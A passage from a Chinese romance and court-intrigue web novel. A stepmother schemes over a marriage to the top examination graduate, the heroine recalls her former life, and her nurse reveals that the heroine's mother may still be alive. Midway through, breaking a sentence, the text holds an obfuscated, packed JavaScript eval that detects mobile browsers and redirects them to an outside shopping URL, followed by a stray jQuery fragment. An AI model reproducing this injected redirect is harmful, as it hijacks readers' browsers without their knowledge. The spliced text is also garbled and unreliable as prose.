从西苑宴毕回府时,已是日色西倾了。
魏窈惦记着顾顺娘的事情,辞别贺氏后便匆匆回了浮香院。
倒是魏淑云一路上憋了满肚子的话,跟到贺氏夫妇住的清宴堂后,没了外人,便急着告状起来。将今日水边的见闻悉数说给贺氏听,又道:“她刚到京城就被人围着指指点点,当时我都快丢人死了!”
“这里又不是乡下,她那样不知天高地厚,惹人嗤笑事小,若是得罪了皇家,是要连累咱们家的!母亲,你可得跟父亲说说,得好生管教她才是!”
魏淑云撅着个嘴,恨不得这会儿就把魏窈拉到祖宗牌位前跪着,教她从此夹起尾巴做人。
贺氏看她那一脸的不忿,有点儿好笑,便点头应着,说往后会留意。
见魏淑云火气还没消,又叮嘱道:“这事儿我自有主张,你可别在你父亲跟前浑说。那丫头不好对付,往后但凡有这种事,你只管跟我说,可别跑去你父亲那里胡言乱语,平白给我添乱!”
魏淑云仍觉气闷,瞧母亲说得认真,只能作罢,蔫蔫的回屋睡觉去了。
服侍了贺氏大半辈子的孙妈妈将她送出门外,回来见贺氏在桌边出神,便小声道:“今日的事,夫人当真要跟主君说?”
“那不是搬石头砸自己脚么!”贺氏有些心烦地道。
魏窈跟肃郡王的事,她其实知道。
先前魏窈在江陵城修书回京,为了给途中的安稳添一份筹码,特地提了肃郡王帮她救人的事。书信送到魏家,照例先递到贺氏手里,贺氏瞧着是江陵递来的,哪会真的给魏芝翰?
看过内容之后,当场就烧了。
也是因着肃郡王这三个字,她才没敢再派人手去途中再次生事。
如今魏窈和顾顺娘既已安然抵京,且魏窈还算识相地对旧事闭口不提,她再拿这事去魏芝翰跟前告状,又能讨得什么好处?
纵然魏芝翰不敢拿她怎样,到底平添夫妻罅隙。
倒不如按兵不动。
只是好容易捏到魏窈的错处,却不能拿来用,多少有些憋屈。
贺氏这些年在魏家横行惯了,如今忽然要收着性子,难免觉得窝火。
……
这份窝火一直憋到了晚间魏芝翰回屋。
贺氏虽不好提肃郡王的事,却还是旁敲侧击地吹枕边风:“今儿宴上,我也算是豁出脸皮,将阿槿的事摆到明面上,着实让人议论了一整天,往后且有得舌根嚼呢。”
“真是委屈夫人了。”魏芝翰揽着她,低笑道:“今晚便好生赔罪吧。”
贺氏笑嗔他一眼,又道:“不过说起来,她到底养在乡下疏于管教,礼数上不够周全。我是个继母,不好说重话,你当父亲的可得立起威严来,须严加管教才能雕琢出美玉。”
“夫人说得是,往后我会多加训导。”魏芝翰温和笑着,安抚住妻子后,才将话锋一转道:“对了,岳父说过两日要来咱们这边坐坐。”
“父亲要亲自过来?有什么事喊我过去不就成了?”贺氏有些意外。
魏芝翰便道:“他老人家想瞧瞧阿槿。”
贺氏不由笑了,“父亲也是忒操心!这算什么事儿,咱们膝下就一个淑云,家里难免冷清些,如今多了个女儿,我也替你欢喜呢!”
这显然是会错意了。
魏芝翰心里有点尴尬,为免误会更深,还是将话挑明些,道:“父亲在朝里的处境咱们都清楚。如今瞧着是花团锦簇,那也都是仰赖圣上恩典,万一往后……所以父亲想挑个有才干的,早点栽培起来,往后也多个帮手。”
“这是……想结姻亲?”贺氏有些迟疑。
魏芝翰颔首道:“前阵子春闱放榜,那位状元郎许约是个好苗子。他出身不高,读书却用功,据说每日里睡不到两个时辰,是少有的勤奋。如今高中榜首,志向自然高些,既想借机寻个婚事青云直上,又想求个姿貌出挑的称心女子,至今还没说好亲事。岳父有意提携他,只是缺个合适的人,见阿槿品貌还算出挑,就想亲自掌掌眼。”
这话一说,贺氏的脸色顿时就变了。
嫁给状元郎,那是多好的婚事!
那许约她听说过,虽非高门出身,却也是读书人家的子弟。加之刻苦用功、姿貌也不错,虽说好似急功近利了点,但年纪轻轻就能才冠京城,实在是打着灯笼都难找的好女婿!
贺崇膝下唯有一个孙女儿贺薇,是已经定了亲要去伯府做当家少夫人的。
如今既要结亲……
“淑云的亲事也还没定,父亲怎么不想着她!”贺氏心中不满,也没法装贤惠了,“阿槿她相貌虽好,到底长在乡下,见识有限,真个到了状元郎跟前,谈吐举止怎么跟得上!”
这话魏芝翰就不好回了。
他倒是想给魏淑云寻个状元郎,可惜夫妻俩膝下就这么个掌上明珠,这么些年宠爱过来,反倒养得性子骄纵任性。且魏淑云不过中人之姿,又没旁的长处,想打动状元郎许以终身,着实有些难度。
倒是魏窈,她生得出挑、性子也和顺,魏芝翰特地安排贺崇远远瞧见,原就是揣摩准了贺崇的打算,借机为魏窈争取个好婚事。
如今心愿得偿,他不敢明着吐露,又不好跟贺氏说贬损魏淑云的话,只能糊弄道:“岳父也只是打算,还没定呢,你若觉得不妥,跟他说就是了。”
说就说!她自己的亲爹,难道还放着亲外孙女不帮衬,却去管那半路捡回来的别家血脉不成?
贺氏有些着恼,扭身就出去了。
……
隔了两日,贺崇果真抽出空暇来了趟魏府。
魏淑云自幼得外祖父疼爱,自是欢天喜地地将他搀扶进花厅,亲自奉上果点。
她这般讨巧,贺崇也是笑得合不拢嘴,将外孙女夸了一通之后,便让贺氏将魏窈带来相见。瞧她确实是难得的丽色,加之性情比魏淑云沉静得多,言语对答间也口齿清晰、思维敏捷,愈发满意起来。
遂赠了些金玉之物,权当见面之礼。
贺氏在旁瞧着,眼底的期待一分分黯了下去。直等魏窈被送回去时,她才支走魏芝翰,命人拿来刚熬的荷叶汤,亲自舀了一碗。
“父亲您尝尝这荷叶汤,是淑云为您备的。”她贴坐在贺崇身旁,浑然还是从前爱撒娇的幼女模样。
贺崇喝了两口,果真味道很好,便颔首道:“不错,这孩子有长进了!”
“那您还不帮衬着她些!”
语气里藏有埋怨,贺崇听得出来,便掀须笑了笑,“正是我偏疼她,才会选邵州来的那个。状元郎的名头固然好听,可你以为他家媳妇是好当的?我早打听过,他们族里家风极严,对儿媳的规矩更是严苛。”
“淑云性子活泼跳脱,真嫁进那样规矩严苛、妯娌众多的门第,必定应付不来。”
贺氏还是不肯,“邵州来的那个就能应付了?”
“她就算没法应付,又碍着咱们什么事?”贺崇虽在朝中颇受微词,待女儿却向来慈爱,耐心解释道:“在婆家吃了苦头,处境艰难,她才更知道该仰仗娘家,尽心为咱们办事。怀珍,结这门亲事是为朝政,可不像你当年胡闹……”
“爹!”提起当年的事,贺氏立即打断。
贺崇笑了笑,“淑云的性子随你,没必要去许家吃苦。云章岁数也不小了,我想着表兄妹亲上加亲,回头必不会委屈了她。”
让魏窈嫁给御笔钦点、风头正盛的状元郎,却将淑云许给只能靠捐官入仕的贺云章吗?
贺氏但凡想到那等情形,就觉心里刺得慌。
更何况,父亲的担忧是一回事,可贺家在朝中的威势远胜许家,有身为帝王宠臣的贺崇撑腰,许家能造次到哪里去?
等来日有了儿女傍身,地位稳固,许约在朝堂青云而上,那时淑云得封诰命,才叫一个舒心呢!
贺氏不甘心将好婚事拱手让人,便只缠着贺崇,一心要他改变主意。
……
浮香院里,魏窈这会儿也在琢磨婚事。
今日贺崇来魏家是何意图,她心里明镜似的。
从花厅回来后,她将贺崇那些赏赐一股脑塞进箱子最底下,点了支静心安神的花凝香,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125395|196044||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
窗边支颐坐着。
前世种种断续划过心间,她清楚贺崇和魏芝翰的心思,也知道贺氏会打什么主意——
前世,因着魏淑云任性骄纵、姿色平平,入不了许约的眼,贺崇便拍板让她嫁给状元郎许约,而将魏淑云许给了贺云章。
贺氏母女怎会甘心呢?
便以赏花喝茶的由头将贺云章母子请来府里,如愿地让贺云章对她一见钟情,做出种种献殷勤的举动。
彼时魏窈虽屡屡推拒,却哪能防得住贺氏揣着的坏心?
应该是在月底游湖的盛会上,那边贺崇和魏芝翰才刚说动状元郎,促成许魏结亲的美事,这边贺氏母女便伙同贺云章,在众目睽睽之下上演了一场水中救美的戏码,以她的闺誉为赌注,将她的婚事推向贺云章。
许家最重门风,得知此事焉能答应?
碍着贺崇的颜面和外头的风评,不好反悔爽约,便只能捏着鼻子将魏淑云娶过去。
魏窈即使厌恨贺氏的算计,在贺云章屡次剖白心意,甚至舍出性命护她周全,而魏芝翰也出言撮合时,终于没扛住众人的劝说答应了婚事。
如今想来,贺云章也许曾爱过她,但也只是在初相识时心意最浓的那些时日罢了。
他那人对女子心软多情,爱意便也难以坚定,不过如转瞬而逝、游动不定的浮云而已。
更或许,从头至尾都不曾爱过。
魏窈倚坐在窗畔,视线落在远处一株高耸的墨柏时,不知怎的,又想起穆景初坐在她的坟前,拿指尖一遍遍拂过墓碑的情形。
情与爱,终究太难捉摸。
魏窈独自坐了良久,等傍晚时分顾顺娘神采飞扬地回来,说她立女户的事已在官府办妥,才算露出笑容。
欢喜之余,约定择日禀过魏芝翰,俩人一道去将顾顺娘租赁屋舍等事办妥当。
商量完这些,临睡之前对烛夜话时,魏窈又将贺崇相看之事说了,连同贺氏心有不甘、可能会把她推向贺云章的猜测也说出来。
顾顺娘听后倒沉默了片刻。
“嫁给状元郎,瞧起来确实是个光鲜的婚事。贺家郎君虽说逊色些,既是姻亲,若能得你父亲照拂,听起来倒也还行。关键在于,你是怎样打算的呢?”
顾顺娘抚着她披散的秀发,眼底藏有疼惜,“这是你的婚事,旁人说的都不作数,得顺着你的心意来。”
“依我看,都不是好去处!”魏窈答得不假思索。
这倒出乎顾顺娘所料,不由道:“怎么说?”
“不管许家还是贺家,但凡父亲安排的婚事,难免往后我得仰仗他。可家里的情形您也瞧见了,我这位父亲怕是靠不住。”
“你不相信他?”顾顺娘有些迟疑地问。
烛火轻跳,魏窈迎着她的视线,笃定点头。
旁的事情不好提,便拿江陵城的事来举例——
“当日我修书进京,沈姐姐很快就有了回信,还约定了在京城外的客栈再通消息,咱们进京时也准时等着。可我父亲呢?”
“这些时日,他从未提起那件事。”
“若他是收到书信,避而不提,那实在让人寒心。若他没收到,那便意味着家里是我那继母只手遮天,他这个父亲还没门外的歪脖子树可靠。”
这话有点好笑,顾顺娘却笑不出来。
她只是握住魏窈的手,打量着这个年才十六、却比记忆里沉静得多的少女。原本犹豫不决的事情,在此时也终于有了答案。
“有件事我一直没跟你说,怕你未必能承受,也怕你年少没城府,叫人察觉出来,反为不妙。如今这关头,还是告诉你得好。”门扇紧掩,帘帐垂落,即使屋里没有旁人,顾顺娘也还是谨慎地坐近魏窈,将声音贴在她的耳边。
“你母亲当年或许没死。”
“她是生下你没多久就遭到魏芝翰狠心背弃,才让我带你出逃,免得母女一起受苦。我离开时她还好好的,后来是死是活,其实还没有定论。”
极低的声音,却如惊雷在耳畔炸响。
魏窈满脸震惊地看向顾顺娘。